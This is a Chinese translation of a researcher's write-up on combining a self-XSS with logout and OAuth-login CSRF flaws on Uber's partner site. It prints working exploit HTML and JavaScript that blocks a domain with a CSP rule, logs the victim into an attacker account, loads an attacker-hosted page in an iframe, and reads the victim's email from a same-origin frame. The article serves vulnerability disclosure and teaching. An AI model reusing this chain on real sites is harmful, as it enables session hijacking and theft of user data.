Uber三個雞肋漏洞的妙用

wyzsk發表於2020-08-19
作者: virusdefender · 2016/03/25 10:43

0x00 簡介


作者透過精心設計,將一個雞肋的的self-XSS和兩個雞肋的csrf變成了一個高質量的漏洞。

原文:
https://fin1te.net/articles/uber-turning-self-xss-into-good-xss/

在Uber一個設定個人資訊的頁面上,我找到一個非常簡單且經典的XSS漏洞。設定項中隨便修改一個欄位為<script>alert(document.domain);</script>就可以執行並彈框。

uber-partners-xss-1-1

uber-partners-xss-1-1

一共花了兩分鐘找到這個漏洞,但是我們要來點更有意思的。

0x01 self-XSS


可以在網頁中執行外界可控的任意JS指令碼就被稱為XSS漏洞,這時候你一般可以去讀取其他使用者的Cookies,或者發出一些請求。但是如果你只能對自己做這些,而不是其他使用者,比如這段程式碼只會在你能看到的頁面裡面執行,這就被稱為self-XSS。這種情況下,即使我們發現了漏洞,也很難去影響其他人。

我猶豫了一會,但是我後來決定試試,看能不能去掉這個"self"。

0x02 Uber OAuth 登入流程


Ubser的OAuth登入流程也是很經典的

  • 使用者訪問Uber某個需要登入的網站,比如partners.uber.com
  • 使用者被重定向到授權伺服器,比如login.uber.com
  • 使用者輸入賬號密碼
  • 使用者重定向回到partners.uber.com,同時URL中攜帶code,可以用來換取Access Token

uber-partners-xss-2

從上面的截圖你可以看到,OAuth的回撥地址/oauth/callback?code=...並沒有使用標準推薦的state引數,這意味著登入功能存在CSRF的問題,但是不好說會不會造成嚴重的問題。

同時,在退出登入的地方也有一個CSRF漏洞,當然這一般不會認為是漏洞。訪問/logout會清除使用者partner.uber.com的session,然後再重定向到login.uber.com的退出登入頁面,清除login.uber.com的session。

因為我們的payload只存在於自己的賬號中,我們可以讓其他使用者登入進我們的賬號,然後payload就會執行,不過登入我們的賬號會清除他們之前所有的session,這就讓漏洞大打折扣了。所以我們要把漏洞放在一起利用。

0x03 捆綁利用漏洞


我們的計劃就是這樣的了

  • 首先,讓使用者登出partner.uber.com,但是不要登出login.uber.com,這樣後面可以讓使用者重新回到原有賬號
  • 然後,讓使用者登入我們的賬號,這樣payload就會執行
  • 最後,使用者登入自己的賬號,但是我們的payload仍然在執行,這樣就可以盜取資訊了

第一步 只在一個域名退出登入

首先傳送一個請求到https://partners.uber.com/logout/,然後就可以登入我們的賬號了。但是問題在於退出登入的重定向最終會到達https://login.uber.com/logout/,導致另外一個域名也退出登入。我們能不能控制呢?

我的方法就是使用Content Security Police來設定可以載入的域名。我只設定了允許請求partners.uber.comlogin.uber.com就會被瀏覽器攔截。

#!html
<!-- 設定CSP策略阻止訪問 login.uber.com -->
<meta http-equiv="Content-Security-Policy" content="img-src https://partners.uber.com">
<!-- 退出登入 partners.uber.com -->
<img src="https://partners.uber.com/logout/">

這樣是可以的,CSP會有下面的提示

uber-partners-xss-3

第二步 登入我的賬號

這一步相對來說簡單了一些,我們向https://partners.uber.com/login/傳送一個請求(這一步是必須的,否則我們沒法接收到回撥)。上面我們用了CSP的trick來阻止部分流程,這裡我們就需要用我自己的code來讓使用者登入了。

因為CSP會觸發onerror,我們就可以在那裡面跳轉到下一步了。

#!html
<!-- CSP策略會阻止訪問 login.uber.com -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- 退出登入 partners.uber.com,在跳轉到login.iber.com的時候觸發onerror -->
<img src="https://partners.uber.com/logout/" onerror="login();">
<script>
    //初始化登入
    var login = function() {
        var loginImg = document.createElement('img');
        loginImg.src = 'https://partners.uber.com/login/';
        loginImg.onerror = redir;
    }
    //用我們的code登入
    var redir = function() {
        // 為了方便測試,code放在url hash中,實際需要動態的獲取
        var code = window.location.hash.slice(1);
        var loginImg2 = document.createElement('img');
        loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code;
        loginImg2.onerror = function() {
            window.location = 'https://partners.uber.com/profile/';
        }
    }
</script>

第三步 回到原來的賬號

這一部分的程式碼將會有XSS的payload,在我的賬號中。

只要payload一執行,就可以切換回原來的賬號了。這個必須在iframe中,因為需要保持payload一直執行。

#!js
// 建立一個iframe,讓使用者退出登入我的賬號
var loginIframe = document.createElement('iframe');
loginIframe.setAttribute('src', 'https://fin1te.net/poc/uber/login-target.html');
document.body.appendChild(loginIframe);

iframe裡面還是用CSP的trick

#!js
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<img src="https://partners.uber.com/logout/" onerror="redir();">
<script>
    //使用使用者login.uber.com的session重新登入
    var redir = function() {
        window.location = 'https://partners.uber.com/login/';
    };
</script>

最後一部分是建立另外一個iframe,這樣可以獲取一些資料了

#!js
//等待幾秒,載入個人資訊頁面,這是使用者原始的資訊
setTimeout(function() {
    var profileIframe = document.createElement('iframe');
    profileIframe.setAttribute('src', 'https://partners.uber.com/profile/');
    profileIframe.setAttribute('id', 'pi');
    document.body.appendChild(profileIframe);
    //提取email資訊
    profileIframe.onload = function() {
        var d = document.getElementById('pi').contentWindow.document.body.innerHTML;
        var matches = /value="([^"]+)" name="email"/.exec(d);
        alert(matches[1]);
    }
}, 9000);

因為我們最終的這個iframe是在個人資訊頁面載入的,是同源的,而且X-Frame-Options也是設定的sameorigin而不是deny,所以我們使用contentWindow是可以訪問到裡面的內容的。

uber-partners-xss-5

綜合在一起

  • 將第3步payload加入個人資訊中
  • 登入自己的賬號,取消回撥,拿到還未用過的code
  • 讓使用者訪問我們在第2步中建立的頁面
  • 這樣使用者就會退出登入,然後重新登入到我的賬號
  • 第3步的payload就會執行
  • 在隱藏的iframe中,退出登入我的賬號
  • 在另外一個隱藏的iframe中,重新登入使用者的賬號
  • 這樣我們就有了一個同源的有使用者session的iframe了

這個漏洞很有意思,啟發我們要在一個更高的層面去挖掘和思考安全漏洞。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章